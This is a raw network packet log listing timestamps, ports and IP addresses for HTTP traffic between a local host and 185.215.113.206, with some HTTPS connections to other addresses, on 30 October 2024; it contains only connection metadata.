Oct 30, 2024 15:59:34.328891993 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.328907013 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.328923941 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:34.328929901 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.328946114 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.328953028 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:34.328975916 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:34.329030037 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:34.334259987 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.334460974 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:34.437346935 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:34.437366962 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:34.437443972 CET	49727	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:34.437462091 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:34.437504053 CET	49727	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:34.482840061 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.482871056 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.482884884 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.482918978 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:34.482966900 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:34.483002901 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.483019114 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.483036041 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.483048916 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:34.483067036 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:34.483082056 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:34.483526945 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.483542919 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.483557940 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.483577013 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:34.483589888 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:34.483870029 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.483896017 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.483911991 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.483918905 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:34.483927965 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.483930111 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:34.483944893 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.483948946 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:34.483968973 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:34.483987093 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:34.551795959 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:34.551817894 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:34.551878929 CET	49727	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:34.551903963 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:34.551948071 CET	49727	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:34.553950071 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:34.553972960 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:34.554003000 CET	49727	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:34.554009914 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:34.554064035 CET	49727	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:34.554064035 CET	49727	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:34.599020004 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.599049091 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.599065065 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.599081039 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:34.599119902 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:34.599401951 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.599419117 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.599435091 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.599455118 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:34.599502087 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:34.599653959 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.599672079 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.599695921 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.599713087 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:34.599736929 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:34.599788904 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.599832058 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:34.599859953 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.599875927 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.599905968 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:34.599920988 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:34.600074053 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.600128889 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:34.637540102 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.637557030 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.637573957 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.637619972 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:34.637635946 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:34.640837908 CET	443	49737	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:34.641419888 CET	49737	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:34.641452074 CET	443	49737	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:34.641913891 CET	49737	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:34.641918898 CET	443	49737	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:34.669020891 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:34.669039011 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:34.669116020 CET	49727	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:34.669135094 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:34.669173002 CET	49727	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:34.713248014 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:34.713268042 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:34.713313103 CET	49727	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:34.713325024 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:34.713370085 CET	49727	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:34.713388920 CET	49727	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:34.714618921 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.714643955 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.714660883 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.714689016 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:34.714720011 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:34.714751005 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.714792967 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.714807987 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.714832067 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:34.714848042 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:34.715253115 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.715269089 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.715285063 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.715305090 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:34.715329885 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:34.715610027 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.715626955 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.715643883 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.715652943 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:34.715667963 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:34.715687037 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:34.753071070 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.753101110 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.753124952 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.753143072 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:34.753156900 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:34.753169060 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.753175974 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:34.753206015 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:34.771162033 CET	443	49737	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:34.771249056 CET	443	49737	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:34.771295071 CET	49737	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:34.771564007 CET	49737	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:34.771584034 CET	443	49737	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:34.771596909 CET	49737	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:34.771603107 CET	443	49737	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:34.775048018 CET	49742	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:34.775085926 CET	443	49742	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:34.775254011 CET	49742	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:34.776604891 CET	49742	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:34.776618958 CET	443	49742	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:34.784033060 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:34.784079075 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:34.784101963 CET	49727	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:34.784109116 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:34.784142017 CET	49727	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:34.784159899 CET	49727	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:34.784773111 CET	49727	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:34.784789085 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:34.830516100 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.830586910 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:34.830631971 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.830648899 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.830672979 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:34.830693960 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.830696106 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:34.830712080 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.830728054 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.830744028 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.830751896 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:34.830761909 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.830785990 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:34.830785990 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:34.830810070 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:34.831618071 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.831634045 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.831650019 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.831675053 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:34.831698895 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:34.868721962 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.868738890 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.868755102 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.868784904 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:34.868828058 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:34.868933916 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.868951082 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.868967056 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.868993044 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:34.869009972 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:34.896454096 CET	49743	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:34.896477938 CET	443	49743	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:34.896776915 CET	49743	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:34.897103071 CET	49743	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:34.897116899 CET	443	49743	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:34.921194077 CET	443	49739	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:34.921731949 CET	49739	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:34.921752930 CET	443	49739	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:34.922470093 CET	49739	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:34.922473907 CET	443	49739	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:34.927164078 CET	443	49740	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:34.927529097 CET	49740	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:34.927552938 CET	443	49740	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:34.927937984 CET	49740	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:34.927942991 CET	443	49740	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:34.946094036 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.946111917 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.946127892 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.946183920 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.946193933 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:34.946193933 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:34.946201086 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.946239948 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:34.946269035 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:34.946456909 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.946472883 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.946487904 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.946513891 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:34.946541071 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:34.946896076 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.946949959 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:34.946959972 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.946999073 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:34.947134018 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.947180986 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:34.947221041 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.948642015 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:34.968625069 CET	443	49738	52.149.20.212	192.168.2.6
Oct 30, 2024 15:59:34.968704939 CET	49738	443	192.168.2.6	52.149.20.212
Oct 30, 2024 15:59:34.970096111 CET	49738	443	192.168.2.6	52.149.20.212
Oct 30, 2024 15:59:34.970108986 CET	443	49738	52.149.20.212	192.168.2.6
Oct 30, 2024 15:59:34.970340967 CET	443	49738	52.149.20.212	192.168.2.6
Oct 30, 2024 15:59:34.971558094 CET	49738	443	192.168.2.6	52.149.20.212
Oct 30, 2024 15:59:34.984103918 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.984173059 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:34.984175920 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.984189987 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.984205008 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.984229088 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:34.984251022 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:34.984402895 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.984421015 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.984436989 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.984478951 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.015331984 CET	443	49738	52.149.20.212	192.168.2.6
Oct 30, 2024 15:59:35.052141905 CET	443	49739	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.052592039 CET	443	49739	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.052661896 CET	443	49739	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.052674055 CET	49739	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:35.052719116 CET	49739	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:35.053201914 CET	49739	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:35.053222895 CET	443	49739	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.053234100 CET	49739	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:35.053240061 CET	443	49739	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.058093071 CET	49744	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:35.058119059 CET	443	49744	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.058181047 CET	443	49740	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.058188915 CET	49744	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:35.058250904 CET	443	49740	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.058336020 CET	49740	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:35.058522940 CET	49740	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:35.058538914 CET	443	49740	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.058549881 CET	49740	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:35.058556080 CET	443	49740	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.060920000 CET	49745	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:35.060959101 CET	443	49745	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.061022997 CET	49745	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:35.061182022 CET	49745	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:35.061197042 CET	443	49745	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.061515093 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.061569929 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.061582088 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.061584949 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.061602116 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.061625004 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.061647892 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.061904907 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.061919928 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.061935902 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.061981916 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.062027931 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.062194109 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.062243938 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.062436104 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.062452078 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.062467098 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.062505960 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.062541962 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.099726915 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.099745035 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.099786043 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.099797964 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.099890947 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.099905014 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.099935055 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.099960089 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.099972963 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.099991083 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.100023031 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.100032091 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.100048065 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.100049973 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.100060940 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.100127935 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.168622017 CET	49746	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:35.168672085 CET	443	49746	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.168777943 CET	49746	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:35.169379950 CET	49747	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:35.169411898 CET	443	49747	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.169477940 CET	49747	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:35.169756889 CET	49748	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:35.169811010 CET	443	49748	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.169869900 CET	49748	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:35.169971943 CET	49749	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:35.169995070 CET	443	49749	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.170130968 CET	49750	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:35.170146942 CET	443	49750	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.170152903 CET	49749	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:35.170203924 CET	49750	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:35.170720100 CET	49750	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:35.170739889 CET	443	49750	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.170939922 CET	49749	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:35.170953989 CET	443	49749	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.171148062 CET	49748	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:35.171164036 CET	443	49748	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.171278000 CET	49747	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:35.171291113 CET	443	49747	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.171365976 CET	49746	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:35.171380043 CET	443	49746	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:35.177189112 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.177242994 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.177259922 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.177278996 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.177355051 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.177375078 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.177402020 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.177509069 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.177525997 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.177542925 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.177558899 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.177560091 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.177587986 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.178158998 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.178177118 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.178193092 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.178232908 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.178248882 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.215868950 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.215888977 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.215903997 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.215919018 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.215935946 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:35.215965033 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.215992928 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:35.216085911 CET	80	49716	185.215.113.206	192.168.2.6
